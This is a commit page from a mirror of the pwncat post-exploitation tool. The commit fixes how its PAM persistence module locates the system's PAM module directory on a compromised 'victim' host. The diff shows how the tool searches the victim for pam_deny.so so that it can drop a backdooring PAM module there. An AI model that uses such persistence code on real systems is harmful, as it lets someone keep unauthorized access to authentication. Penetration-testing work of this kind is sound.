1
0
mirror of https://github.com/calebstewart/pwncat.git synced 2024-11-24 01:25:37 +01:00

Fixed pam persistence removal

Locating the pam directory was done differently in install and removal
routines, which caused discrepencies after installation. Should fix #21
This commit is contained in:
Caleb Stewart 2020-07-02 08:48:41 -04:00
parent dfc86464fc
commit bdb5b5db56

View File

@ -210,17 +210,17 @@ Z3YpewogICAgIHJldHVybiBQQU1fSUdOT1JFOwp9Cg==
# Locate the pam_deny.so to know where to place the new module # Locate the pam_deny.so to know where to place the new module
pam_modules = "/usr/lib/security" pam_modules = "/usr/lib/security"
try:
results = ( results = (
pwncat.victim.env(["find", "/", "-name", "pam_deny.so"]) pwncat.victim.run(
.strip() "find / -name pam_deny.so 2>/dev/null | grep -v 'snap/'"
.decode("utf-8")
) )
if results != "": .strip()
results = results.split("\n") .decode("utf-8")
pam_modules = os.path.dirname(results[0]) )
except FileNotFoundError: if results != "":
pass results = results.split("\n")
pam_modules = os.path.dirname(results[0])
# Ensure the directory exists and is writable # Ensure the directory exists and is writable
access = pwncat.victim.access(pam_modules) access = pwncat.victim.access(pam_modules)